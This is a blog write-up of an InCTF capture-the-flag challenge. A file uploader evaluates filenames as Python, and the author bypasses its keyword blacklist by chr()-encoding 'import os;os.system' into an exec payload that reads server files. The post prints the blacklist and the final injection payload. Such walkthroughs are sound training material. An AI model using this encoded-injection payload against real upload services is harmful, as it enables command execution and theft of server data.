Posts InCTF: The Most Secure File Uploader
Post
Cancel

InCTF: The Most Secure File Uploader

InCTF: The Most Secure File Uploader

This was the first challenge I completed on InCTF. The first thing we get is:

Img

So going to the page we check that we need to upload a file.

Img

At first I tried to upload a .txt file but the output was that I needed an image file:

Img

With that in mind, I changed my file to mimic a PNG. In order to do that I did two things.

  1. I changed the extension from .txt to .png
  2. I added to my file the PNG file header, which is 89 50 4E 47 0D 0A 1A 0A.

Then, I tried to upload it again. However, a strange error took place:

Img

Mmmmm… That’s odd. My filename was experiment.png and the error, which comes from a python program, indicates that the variable ‘name’ does not exist. I tried to print something (assuming we were using python 2.x) and so that I didn’t get any errors I decided to comment the file extension:

Img

Looks like we have some kind of blacklist in which the plus sign is included, so I tried with python 3.x print syntax.

Img

And voilà! We managed to get command execution! Our A was printed after everything else!

Once here, I decided to look at variables in the source code, maybe the flag is there. Nonetheless, locals was blacklisted and dir() wasn’t useful at all.

Img

Nothing. Then, I thought maybe the flag was in an external file, so I tried importing the os module. But guess what? Import was blacklisted as well.

Solution

I finally found a solution to bypass the blacklist and be able to import modules. It consisted basically of using the chr() function, which turns a decimal integer into its corresponding ASCII character. Checking that it works:

Img

Then, I decided to use the following code:

1
2
3
4
5
list = "import os;os.system('ls')"
command = []
for i in list:
    command.append("chr({})".format(ord(i)))
eval(''.join(command))

And it turned out to work!!!

Img

Now we can only change the command from ls to cat * and we’ll get the source code of flag and the other two files!

Img

A noticeable thing is the blacklist and the fact that the script checked if the file had both a valid header and extension.

Blacklist:

"import|os|class|subclasses|mro|request|args|eval|if|for|\%| subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}"

Final exploit:

1
exec(''.join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(39),chr(99),chr(97),chr(116),chr(32),chr(42),chr(39),chr(41)]))#.png

And we get our flag: inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}.

This post is licensed under CC BY 4.0 by the author.